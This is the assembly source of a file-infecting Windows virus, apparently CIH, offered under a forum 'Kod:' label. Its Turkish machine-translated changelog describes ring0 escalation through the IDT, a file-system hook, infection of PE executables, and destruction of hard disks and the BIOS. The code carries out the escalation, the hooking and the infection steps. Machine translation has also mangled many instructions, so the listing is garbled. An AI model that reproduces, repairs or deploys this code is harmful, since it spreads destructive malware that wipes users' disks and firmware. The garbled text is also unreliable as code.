Kod:
; ************************************************** **************************
; * Virüs Programı Bilgileri *
; ************************************************** **************************
; * *
; *
; * Turbo Assembler Sürüm 4.0: tasm / m cih *
; * Turbo Link Sürüm 3.01: tlink / 3 / t cih, cih.exe *
; * *
; * ================================================= ========================= *
; * Değişiklik Tarihi *
; * ================================================= ========================= *
; * v1.0 1. Virüs Programını Oluşturun. *
; * 2. Virüs, Ring0 Privilege'ı almak için IDT'yi değiştirir. *
; * 04/26/1998 3. Virüs Kodu Sisteme Yeniden Yüklenmiyor. *
; * 4. IFSMgr_InstallFileSystemApiHook to Hook Dosya Sistemini arayın. *
; * 5. IFSMgr_InstallFileSystemApiHook'un Giriş Noktasını değiştirir. *
; * 6. Sistem Mevcut PE Dosyasını Açtığında, Dosya * olacaktır
; * Etkilendi ve Dosya Yeniden Etkilenmedi. *
; * 7. Ayrıca Dosya Salt Okunursa bile Etkilenir. *
; * 8. Dosya Etkilendiğinde Değişiklik Tarihi ve Saati *
; Dosya * da değiştirilmez. *
; * 9. Virüsüm IFSMgr_Ring0_FileIO’yu Kullandığında, Aramaz *
; * Önceki FileSystemApiHook, İşlevi Arayacaktır *
; * IFS Yöneticisi normalde uygulamaya çağırır *
; * bu Özel G / Ç İsteği. *
; * 10. Virüs Boyutu yalnızca 656 Bayttır. *
; * ================================================= ========================= *
; * v1.1 1. Özellikle Enfekte Edilen Dosya Artmayacak *
; * bu Boyut ... ^ __ ^ *
; * 05/15/1998 2. Yapılandırılmış İstisna İşini Kancalama ve Değiştirme. *
; * İstisna Hatası Oluştuğunda, İşletim Sistemimiz *
; * Windows NT. Böylece Sevimli Virüsüm Çalışmaya Devam Etmeyecek, *
; * Orijinal Uygulama Çalıştırmak için Jmup olacaktır. *
; * 3. Daha İyi Algoritma Kullan, Virüs Kod Boyutunu Küçült. *
; * 4. Virüs "Temel" Boyut yalnızca 796 Bayttır. *
; * ================================================= ========================= *
; * v1.2 1. Tüm HardDisk'i ve BIOS'u öldürün ... Süper ... Katil ... *
; * 2. v1.1 Bug'ını değiştirin *
; * 05/21/1998 3. Virüs "Temel" Boyut 1003 Bayttır. *
; * ================================================= ========================= *
; * v1.3 1. WinZip Self-Extractor'ün Hata Oluştuğu Hatayı değiştirin. *
; * Yani WinZip Self-Extractor'u Açarken ==> Etkilemeyin. *
; * 05/24/1998 2. Virüs "Temel" Boyut 1010 Bayttır. *
; * ================================================= ========================= *
; * v1.4 1. Tam Hata Düzeltme: WinZip Self-Extractor Hata Oluyor. *
; * 2. Öldürme Bilgisayarlarının Tarihini Değiştirin. *
; * 05/31/1998 3. Virüs Sürümünün Değiştirilmesi Telif Hakkı. *
; * 4. Virüs "Temel" Boyut 1019 Bayttır. *
; ************************************************** **************************
.586P
; ************************************************** **************************
; * Orijinal PE Yürütülebilir Dosya (Bu Bölümü Değiştirme) *
; ************************************************** **************************
OrijinalAppEXE SEGMENT
FileHeader:
db 04dh , 05ah , 090h , 000h , 003h , 000h , 000h , 000h
db 004h , 000h , 000h , 000h , 0ffh , 0ffh , 000h , 000h
db 0b8h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 040h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 080h , 000h , 000h , 000h
db 00eh , 01fh , 0bah , 00eh , 000h , 0b4h , 009h , 0cdh
db 021h , 0b8h , 001h , 04ch , 0cdh , 021h , 054 saat , 068 saat
db 069h , 073h , 020h , 070h , 072h , 06fh , 067h , 072h
db 061h , 06dh , 020h , 063h , 061h , 06eh , 06eh , 06fh
db 074h , 020h , 062h , 065h , 020h , 072h , 075h , 06eh
db 020h , 069h , 06eh , 020h , 044h , 04fh , 053h , 020 saat
db 06dh , 06fh , 064h , 065h , 02eh , 00dh , 00dh , 00ah
db 024h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 050h , 045h , 000h , 000h , 04ch , 001h , 001h , 000 saat
db 0f1h , 068h , 020h , 035h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 0e0h , 000h , 00fh , 001h
db 00bh , 001h , 005h , 000h , 000h , 010h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 010h , 010h , 000h , 000h , 000h , 010h , 000h , 000h
db 000h , 020h , 000h , 000h , 000h , 000h , 040h , 000h
db 000h , 010h , 000h , 000h , 000h , 002h , 000h , 000h
db 004h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 004h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 020h , 000h , 000h , 000h , 002h , 000h , 000h
db 000h , 000h , 000h , 000h , 002h , 000h , 000h , 000h
db 000h , 000h , 010h , 000h , 000h , 010h , 000h , 000h
db 000h , 000h , 010h , 000h , 000h , 010h , 000h , 000h
db 000h , 000h , 000h , 000h , 010h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 02eh , 074h , 065h , 078h , 074h , 000h , 000h , 000h
db 000h , 010h , 000h , 000h , 000h , 010h , 000h , 000h
db 000h , 010h , 000h , 000h , 000h , 002h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 020h , 000h , 000h , 060h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
db 0c3h , 000h , 000h , 000h , 000h , 000h , 000h , 000h
dd 00000000h , VirusSize
OriginalAppEXE ENDS
; ************************************************** **************************
; * Benim Virüs Oyunum *
; ************************************************** **************************
; ************************************************** *******
; * Sabit Tanımla *
; ************************************************** *******
DOĞRU = 1
YANLIŞ = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion * 10h + MinorVirusVersion
Eğer DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
BAŞKA
FirstKillHardDiskNumber = 80 saat
HookExceptionNumber = 03 saat
ENDIF
FileNameBufferSize = 7fh
; ************************************************** *******
; ************************************************** *******
VirusGame SEGMENT
AİTTİR CS VirusGame: , DS : VirusGame , SS : VirusGame
AİTTİR ES VirusGame: , FS : VirusGame , GS : VirusGame
; ************************************************** *******
; * Ring3 Virus Oyunu Başlangıç Programı *
; ************************************************** *******
MyVirusStart:
ebp itmek
; *************************************
; * Yapısal İstisnayı Değiştirelim *
; * Teslim Etme İstisna Hatası
; * Oluşum, özellikle NT'de. *
; *************************************
lea eax , [ esp - 04 saat * 2 ]
xor, ebx , ebx
xchg eax , fs : [ ebx ]
call @ 0
@ 0 :
pop ebx
lea ecx , StopToRunVirusCode - @ 0 [ ebx ]
ecx itin
eax itmek
; *************************************
; * Değiştirelim *
; * IDT (Kesme Tanımlayıcı Tablosu) *
; * Ring0 Ayrıcalığını Almak için ... *
; *************************************
eax itin ;
sidt [ esp - 02h ] ; IDT Baz Adresi Al
pop ebx ;
ebx ekleyin , HookExceptionNumber * 08h + 04h ; ZF = 0
cli
mov ebp , [ ebx ] ; İstisna Bankası Alın
mov bp , [ ebx - 04h ] ; Giriş noktası
lea esi , MyExceptionHook - @ 1 [ ecx ]
esi itmek
mov [ ebx - 04h ], si ;
shr esi , 16 ; İstisnayı Değiştir
mov [ ebx + 02h ], si ; Giriş Noktası Adresi
pop esi
; *************************************
; * Ring0 Almak için İstisna Oluşturma *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Tüm Virüs Kodlarını Birleştir *
; *************************************
esi itmek
mov esi , eax
LoopOfMergeAllVirusCodeSection:
mov ecx , [ eax - 04 saat ]
rep movsb
alt eax , 08h
mov esi , [ eax ]
veya esi , esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Yine İstisna Yarat *
; *************************************
int HookExceptionNumber ; Yine GenerateException
; *************************************
; * Hadi geri yükleyelim *
; * Yapılandırılmış İstisna İşleme *
; *************************************
ReadyRestoreSE:
şti
xor, ebx , ebx
jmp RestoreSE
; *************************************
; * İstisna Hatası Oluştuğunda, *
; * İşletim Sistemimiz NT'de olmalı. *
; * Yani Sevimli Virüsüm *
; * Koşmaya devam et, Jmups *
; * Çalıştırılacak Orijinal Uygulama. *
; *************************************
StopToRunVirusCode:
@ 1 = StopToRunVirusCode
xor, ebx , ebx
mov eax , fs : [ ebx ]
mov esp , [ eax ]
RestoreSE:
pop dword ptr fs : [ ebx ]
pop eax
; *************************************
; * Orijinal Uygulamayı Çalıştırmaya Dön *
; *************************************
pop ebp
00401000h itin ; Orijinali İt
OriginalAddressOfEntryPoint = $ - 4 ; Yığına Uygulama Giriş Noktası
ret ; Orijinal Uygulama Giriş Noktasına Dön
; ************************************************** *******
; * Ring0 Virüs Oyunu İlk Programı *
; ************************************************** *******
MyExceptionHook:
@ 2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Virüsüm Sistemde Var mı? *
; *************************************
mov ecx , dr0
jecxz AllocateSystemMemoryPage
eklemek DWORD ptr [ ESP ] ReadyRestoreSE - ReturnAddressOfEndException
; *************************************
; * Ring3 İlk Programına Dön *
; *************************************
ExitRing0Init:
mov [ ebx - 04h ], bp ;
shr ebp , 16 ; İstisnaları Geri Yükle
mov [ ebx + 02h ], bp ;
iretd
; *************************************
; * Kullanılacak SystemMemory Sayfasını Tahsis Et *
; *************************************
AllocateSystemMemoryPage:
mov dr0 , ebx ; Sistemde Virüsümün İşaretini Belirle
itme 00000000fh ;
ecx itin ;
0ffffffffh itin ;
ecx itin ;
ecx itin ;
ecx itin ;
itme 000000001h ;
itme 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; EAX, ECX, EDX ve bayrakları kullanın
esp ekle , 08h * 04h
xchg edi , eax ; EDI = SystemMemory Başlangıç Adresi
lea eax , MyVirusStart - @ 2 [ esi ]
pişman ; Ring3 İlk Programına Geri Dön
; *************************************
; * My File System Api Hook'u yükleyin *
; *************************************
InstallMyFileSystemApiHook:
lea eax , FileSystemApiHook - @ 6 [ edi ]
eax itin ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; EAX, ECX, EDX ve bayrakları kullanın
mov dr0 , eax ; OldFileSystemApiHook Adresini Kaydet
pop eax ; EAX = FileSystemApiHook Adresi
; Kaydet Eski IFSMgr_InstallFileSystemApiHook Giriş Noktası
mov ecx , IFSMgr_InstallFileSystemApiHook - @ 2 [ esi ]
hareketli edx , [ ecx ]
mov EskiInstallFileSystemApiHook - @ 3 [ eax ], edx
; IFSMgr_InstallFileSystemApiHook Giriş Noktasını Değiştir
lea eax , InstallFileSystemApiHook - @ 3 [ eax ]
mov [ ecx ], eax
cli
jmp ÇıkışRing0Init
; ************************************************** *******
; * Birleştirme Virüs Kodu Bölümünün Kod Boyutu *
; ************************************************** *******
CodeSizeOfMergeVirusCodeSection = ofset $
; ************************************************** *******
; * IFSMgr_InstallFileSystemApiHook *
; ************************************************** *******
InstallFileSystemApiHook:
ebx itin
çağrı @ 4 ;
@ 4 : ;
pop ebx ; mov ebx, ofset FileSystemApiHook
ebx ekle , FileSystemApiHook - @ 4 ;
ebx itin
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; EAX, ECX, EDX ve bayrakları kullanın
pop eax
; Orijinal IFSMgr_InstallFileSystemApiHook'u çağırın
; İstemci FileSystemApiHook Nasıl Bağlanır
dword ptr'ye bas [ esp + 8 ]
çağrı oldInstallFileSystemApiHook - @ 3 [ ebx ]
pop ecx
eax itmek
; Orijinal IFSMgr_InstallFileSystemApiHook'u çağırın
; My FileSystemApiHook Nasıl Bağlanır
ebx itin
çağrı oldInstallFileSystemApiHook - @ 3 [ ebx ]
pop ecx
mov dr0 , eax ; OldFileSystemApiHook Adresini Ayarla
pop eax
pop ebx
çürümek
; ************************************************** *******
; * Statik Veri *
; ************************************************** *******
OldInstallFileSystemApiHook dd?
; ************************************************** *******
; * IFSMgr_FileSystemHook *
; ************************************************** *******
; *************************************
; * IFSMgr_FileSystemHook Giriş Noktası *
; *************************************
FileSystemApiHook:
@ 3 = FileSystemApiHook
pushad
çağrı @ 5 ;
@ 5 : ;
pop esi ; mov esi, VirusGameDataStartAdresi ofset
esi ekle , VirusGameDataStartAddress - @ 5
; *************************************
; * OnBusy! *
; *************************************
Test bayt ptr (OnBusy - @ 6 ) [ esi ], 01 h ; eğer (OnBusy)
jnz pIFSFunc ; pIFSFunc'a git
; *************************************
; * OpenFile! *
; *************************************
; eğer (NotOpenFile)
; kaçınmak
lea ebx , [ esp + 20h + 04h + 04h ]
cmp dword ptr [ ebx ], 00000024h
jne prevhook
; *************************************
; * OnBusy'yi etkinleştir *
; *************************************
Inc bayt ptr (OnBusy - @ 6 ) [ esi ] ; OnBusy'yi Etkinleştir
; *************************************
; * FilePath'in DriveNumber'ını edinin *
; * ardından DriveName'i * olarak ayarlayın
; * DosyaAdıBuffer. *
; *************************************
; * Örn. DriveNumber, 03 saat ise, *
; * DriveName 'C:' şeklindedir. *
; *************************************
; mov esi, ofset FileNameBuffer
esi ekle , FileNameBuffer - @ 6
esi itmek
mov al , [ ebx + 04h ]
cmp al , 0ffh
je CallUniToBCSPath
al , 40h ekle
mov ah , ':'
mov [ esi ], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * Bu Servis Dönüştürüyor *
; * Kanonikleşmiş bir Unicode Pathname *
; * için * Normal bir Yol Adına *
; * Belirtilen BCS Karakter Kümesi. *
; *************************************
CallUniToBCSPath:
00000000h itin
FileNameBufferSize öğesini itin
mov ebx , [ ebx + 10h ]
mov eax , [ ebx + 0ch ]
ekle eax , 04
eax itmek
esi itmek
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
esp ekle , 04h * 04h
; *************************************
; * DosyaAdı '.EXE'! *
; *************************************
; cmp [esi + eax-04h], '.EXE'
cmp [ esi + eax - 04h ], 'EXE'
pop esi
JnE DisableOnBusy
Eğer DEBUG
; *************************************
; * Sadece hata ayıklama için *
; *************************************
; cmp [esi + eax-06h], 'FUCK'
cmp [ ESI + eax'ait - 06 h ] 'KCUF'
JnE DisableOnBusy
ENDIF
; *************************************
; * Açık Dosya Var mı? *
; *************************************
; if (NotOpenExistingFile)
; DisableOnBusy
cmp kelimesi ptr [ ebx + 18h ], 01h
JnE DisableOnBusy
; *************************************
; * Dosyanın Özelliklerini Alın *
; *************************************
hareketli balta , 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
gg 00400032h
jc DisableOnBusy
ecx itin
; *************************************
; * IFSMgr_Ring0_FileIO Adresini Alın *
; *************************************
mov edi , dword ptr (IFSMgr_Ring0_FileIO - @ 7 ) [ esi ]
mov edi , [ edi ]
; *************************************
; * Salt Okunur Dosya mı? *
; *************************************
Test cl , 01 saat
jz OpenFile
; *************************************
; * Yazmak İçin Salt Okunur Dosyasını Değiştirme *
; *************************************
hareketli balta , 4301h
xor ecx , ecx
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Açık dosya *
; *************************************
Açık dosya:
xor eax , eax
mov ah , 0d5h
xor ecx , ecx
xor edx , edx
inc edx
mov ebx , edx
inc ebx
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx , eax ; mov ebx, FileHandle
; *************************************
; * Geri Yüklemeniz Gerekiyor *
; * Dosyanın Özellikleri!? *
; *************************************
pop ecx
pushf
Test cl , 01 saat
jz IsOpenFileOK
; *************************************
; * Dosyanın Özniteliklerini Geri Yükle *
; *************************************
hareketli balta , 4301h
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Açık Dosya Tamam mı? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Açık Dosya Zaten Başarılı. ^ __ ^ *
; *************************************
esi itin ; FileNameBuffer Adresini Yığın'a İtin
pushf ; Şimdi CF = 0, Bayrak Yığına Yığın
esi ekleyin , DataBuffer - @ 7 ; mov esi, DataBuffer'ı dengeleyin
; ***************************
; * OffsetToNewHeader'ı alın *
; ***************************
xor eax , eax
mov ah , 0d6h
; Minimal VirusCode Uzunluğunu Yapmak İçin,
; EAX'i EBP'ye kaydedin.
mov ebp , eax
00000004h itin
pop ecx
0000003ch itin
pop edx
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
mov edx , [ esi ]
; ***************************
; * 'PE \ 0' İmzasını Alın *
; * ImageFileHeader’ın * ve *
; * Enfekte Mark. *
; ***************************
Dec Edx
mov eax , ebp
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * PE! *
; ***************************
; * Dosya mı *
; * Zaten Etkilendi! *
; ***************************
; * WinZip Self-Extractor *
; * Etkilenmedi *
; * Mark Çünkü Virüsüm *
; * bulaşmaz. *
; ***************************
; cmp [esi], '\ 0PE \ 0'
cmp dword ptr [ esi ], 00455000h
jne CloseFile
; *************************************
; * Dosya ^ o ^ * dır
; * Gerçekten de (Taşınabilir Yürütülebilir) PE. *
; *************************************
; * Dosya da Etkilenmedi. *
; *************************************
; *************************************
; * Dosyayı Etkilemeye Başla *
; *************************************
; * Kayıtlar Şimdi Durumu Kullan: *
; * *
; * EAX = 04 saat *
; * EBX = Dosya Kolu *
; * ECX = 04 saat *
; * EDX = 'PE \ 0 \ 0' * imzası
; * ImageFileHeader İşaretçisi *
; * Eski Bayt. *
; * ESI = DataBuffer Adresi ==> @ 8 *
; * EDI = IFSMgr_Ring0_FileIO Adresi *
; * EBP = D600h ==> Dosyadaki Verileri Oku *
; *************************************
; * Yığın Dökümü: *
; * *
; * ESP => --------------------------- *
; * | EFLAG (CF = 0) | *
; * ------------------------- *
; * | DosyaAdıBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | İade Adresi | *
; * ------------------------- *
; *************************************
ebx itin ; Dosya Sapını Kaydet
00h itin ; VirusCodeSectionTableEndMark öğesini ayarlayın
; ***************************
; * Hadi ayarlayalım *
; * Virus 'Infected Mark *
; ***************************
01h itin ; Boyut
edx itin ; Dosya İşaretçisi
edi bas ; Tamponun Adresi
; ***************************
; * ESP Kayıtlarını Kaydet *
; ***************************
mov dr1 , esp
; ***************************
; * Hadi ayarlayalım *
; * NewAddressOfEntryPoint *
; * (Sadece İlk Set Büyüklüğü) *
; ***************************
eax itin ; Boyut
; ***************************
; * Okuyalım *
; * Dosyadaki Görüntü Başlığı *
; ***************************
mov eax , ebp
mov cl , SizeOfImageHeaderToRead
eklemek edx , saat 07 ; EDX'i NumberOfSections'a Taşı
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Hadi ayarlayalım *
; * NewAddressOfEntryPoint *
; * (Dosya İşaretçisini Ayarla, *
; * Tamponun Adresi) *
; ***************************
lea eax , (AddressOfEntryPoint - @ 8 ) [ edx ]
eax itin ; Dosya İşaretçisi
lea eax , (YeniAdresiOfEntryPoint - @ 8 ) [ esi ]
eax itin ; Tamponun Adresi
; ***************************
; * EDX'i Başlat'a taşıyın *
; * Dosyadaki SectionTable *
; ***************************
movzx eax , ptr kelimesi (SizeOfOptionalHeader - @ 8 ) [ esi ]
lea edx , [ eax + edx + 12h ]
; ***************************
; * Hadi Alalım *
; * Toplam Bölüm Boyutu *
; ***************************
mov al , SizeOfScetionTable
; NumberOfSections <= 0ffh olduğunu varsayıyorum
mov cl , (NumberOfSections - @ 8 ) [ esi ]
mul cl
; ***************************
; * Bölüm Tablosu ayarlayalım *
; ***************************
; ESI'yi SectionTable'ın Başına Taşı
lea esi , (StartOfSectionTable - @ 8 ) [ esi ]
eax itin ; Boyut
edx itin ; Dosya İşaretçisi
esi itin ; Tamponun Adresi
; ***************************
; * Birleştirme Kod Boyutu *
; * Virüs Kod Bölümü ve *
; * Toplam Virüs Boyutu *
; * Kod Bölüm Tablosu Zorunlu *
; * Küçük veya Eşit ol *
; * Kullanılmayan Alan Büyüklüğü *
; * Aşağıdaki Bölüm Tablosu *
; ***************************
inc ecx
ecx itin ; Sayı Seçeneklerini Kaydet + 1
shl ecx , 03 saat
ecx itin ; TotalSizeOfVirusCodeSectionTable öğesini kaydedin
ecx ekle , eax
ecx , edx ekle
alt ecx , (SizeOfHeaders - @ 9 ) [ esi ]
ekx değil
inc ecx
; Virüsümü Kaydet İlk Bölüm Kodu
; İzleyen Bölüm Tablosunun Büyüklüğü ...
; (Virüs Kodu Bölüm Tablosunun Boyutunu Dahil Etmeyin)
ecx itin
xchg ecx , eax ; ECX = Bölüm Tablosunun Büyüklüğü
; Giriş Noktasının Orijinal Adresini Kaydet
mov eax , (AddressOfEntryPoint - @ 9 ) [ esi ]
eax ekle , (ImageBase - @ 9 ) [ esi ]
mov (OriginalAddressOfEntryPoint - @ 9 ) [ esi ], eax
cmp word ptr [ esp ], küçük CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; ***************************
; * Tüm Bölüm Tablolarını Oku *
; ***************************
mov eax , ebp
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Tam Hata Değiştirme: *
; * WinZip Self-Extractor *
; * Hata Oluyor ... *
; ***************************
; * Kullanıcı Açıldığında *
; * WinZip Self-Extractor, *
; * Virüs bulaşmaz. *
; ***************************
; * Önce, Virüs * alır
; * PointerToRawData * içinde
; * İkinci Bölüm Tablosu, *
; * Bölüm Verilerini okur, *
; * ve * dizesini sınar
; * 'WinZip (R)' ...... *
; ***************************
xchg eax , ebp
00000004h itin
pop ecx
edx itin
mov edx , (SizeOfScetionTable + PointerToRawData - @ 9 ) [ esi ]
edx , 12h ekle
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; cmp [esi], 'nZip'
cmp dword ptr [ esi ], 'piZn'
je NotSetInfectedMark
pop edx
; ***************************
; * Toplam Virüsü Ayarlayalım *
; * Kod Bölüm Tablosu *
; ***************************
; EBX = Virüsüm İlk Bölüm Kodu
; Aşağıdaki Bölüm Tablosunun Boyutu
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections + 1
edi bas ; Boyut
edx ekle , ebp
edx itin ; Dosya İşaretçisi
ebp ekle , esi
ebp itin ; Tamponun Adresi
; ***************************
; * İlk Virüsü Ayarla *
; * Kod Bölüm Boyutu *
; * VirusCodeSectionTable *
; ***************************
lea eax , [ ebp + edi - 04h ]
mov [ eax ], ebx
; ***************************
; * Virüsümü ayarlayalım *
; * Birinci Bölüm Kodu *
; ***************************
ebx itin ; Boyut
edx ekle , edi
edx itin ; Dosya İşaretçisi
lea edi , (MyVirusStart - @ 9 ) [ esi ]
edi bas ; Tamponun Adresi
; ***************************
; * Değiştirelim *
; * AddressOfEntryPoint için *
; * Virüs Giriş Noktam *
; ***************************
mov (NewAddressOfEntryPoint - @ 9 ) [ esi ], edx
; ***************************
; * İlk Verileri Ayarla *
; ***************************
lea edx , [ esi - SizeOfScetionTable ]
mov ebp , VirusSize'ı dengeleyin
jmp StartToWriteCodeToSections
; ***************************
; * Bölümlere Kod Yaz *
; ***************************
LoopOfWriteCodeToSections:
edx ekle , SizeOfScetionTable
mov ebx , (SizeOfRawData - @ 9 ) [ edx ]
alt ebx , (VirtualSize - @ 9 ) [ edx ]
jbe EndOfWriteCodeToSections
ebx itin ; Boyut
alt eax , 08h
mov [ eax ], ebx
mov ebx , (PointerToRawData - @ 9 ) [ edx ]
ebx ekle , (VirtualSize - @ 9 ) [ edx ]
ebx itin ; Dosya İşaretçisi
edi bas ; Tamponun Adresi
mov ebx , (VirtualSize - @ 9 ) [ edx ]
ebx ekle , (VirtualAddress - @ 9 ) [ edx ]
ebx ekle , (ImageBase - @ 9 ) [ esi ]
mov [ eax + 4 ], ebx
mov ebx , [ eax ]
ekle (VirtualSize - @ 9 ) [ edx ], ebx
; Bölüm kullanıma hazır veri içeriyor ==> 00000040h
; Bölüm okunabilir. ==> 40000000h
ya da (Özellikleri - @ 9 ) [ EDX ] 40000040h
StartToWriteCodeToSections:
alt ebp , ebx
jbe SetVirusCodeSectionTableEndMark
edi ekle , ebx ; Tampon Adresini Taşı
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; ***************************
; * Yalnızca Set Etkilenen Markayı *
; ***************************
OnlySetInfectedMark:
mov esp , dr1
jmp WriteVirusCodeToFile
; ***************************
; * Etkilenen İşaret Ayarlanmadı *
; ***************************
NotSetInfectedMark:
esp ekle , 3ch
jmp CloseFile
; ***************************
; * Virüs Kodunu Ayarla *
; * Bölüm Tablosu Bitiş İşareti *
; ***************************
SetVirusCodeSectionTableEndMark:
; Virüs Bölümü Kodunun Boyutunu Doğru Değere Ayarlayın
[ eax ] ekle , ebp
[ esp + 08h ] ekle , ebp
; Bitiş İşaretini Ayarla
xor, ebx , ebx
mov [ eax - 04 saat ], ebx
; ***************************
; * VirusGame Aradığında *
; * VxDCall, VMM Değişiklikleri *
; * 'int 20h' ve *
; * 'Servis Tanımlayıcısı' *
; * '[XXXXXXXX]' i çağırın. *
; ***************************
; * Virüsümü Yazmadan Önce *
; * Dosyaya, Geri Yüklemeliyim *
; * önce onları. ^ __ ^ *
; ***************************
lea eax , (LastVxDCallAdresi - 2 - @ 9 ) [ esi ]
mov cl , VxDCallTableSize
LoopOfRestoreVxDCallID:
mov kelimesi ptr [ eax ], 20cdh
MOV EDX , (VxDCallIDTable + ( ecx - 1 ) * 04h - @ 9 ) [ esi ]
mov [ eax + 2 ], edx
movzx edx , bayt ptr (VxDCallAddressTable + ecx - 1 - @ 9 ) [ esi ]
alt eax , edx
loop LoopOfRestoreVxDCallID
; ***************************
; * Hadi yaz *
; * Dosyaya Virüs Kodu *
; ***************************
WriteVirusCodeToFile:
mov eax , dr1
mov ebx , [ eax + 10h ]
mov edi , [ eax ]
LoopOfWriteVirusCodeToFile:
pop ecx
jecxz SetFileModificationMark
mov esi , ecx
mov eax , 0d601h
pop edx
pop ecx
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
jmp LoopOfWriteVirusCodeToFile
; ***************************
; * CF = 1 ==> * ayarlayalım
; * Dosyayı Geri Yükleme Gerekiyor *
; * Değişiklik Zamanı *
; ***************************
SetFileModificationMark:
pop ebx
pop eax
stc ; CF'yi etkinleştir (Bayrak Taşı)
pushf
; *************************************
; * Dosyayı kapat *
; *************************************
Dosyayı kapat:
xor eax , eax
mov ah , 0d7h
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Dosya Değişikliğini Geri Yükleme Gerekiyor *
; * Zaman! *
; *************************************
popf
pop esi
jnc IsKillBilgisayar
; *************************************
; * Dosya Değiştirme Zamanını Geri Yükleme *
; *************************************
mov ebx , edi
hareketli balta , 4303h
mov ecx , (FileModificationTime - @ 7 ) [ esi ]
mov edi , (FileModificationTime + 2 - @ 7 ) [ esi ]
ebx çağrısı ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * OnBusy'yi devre dışı bırak *
; *************************************
DisableOnBusy:
Aralık bayt ptr (OnBusy - ' 7 ) [ esi ] ; OnBusy'yi devre dışı bırak
; *************************************
; * Önceki FileSystemApiHook arayın *
; *************************************
prevhook:
popad
mov eax , dr0 ;
jmp [ eax ] ; Kanıtlamak için atla
; *************************************
; * IFS’nin işlevini çağırın *
; * Yönetici normalde * arayacaktı
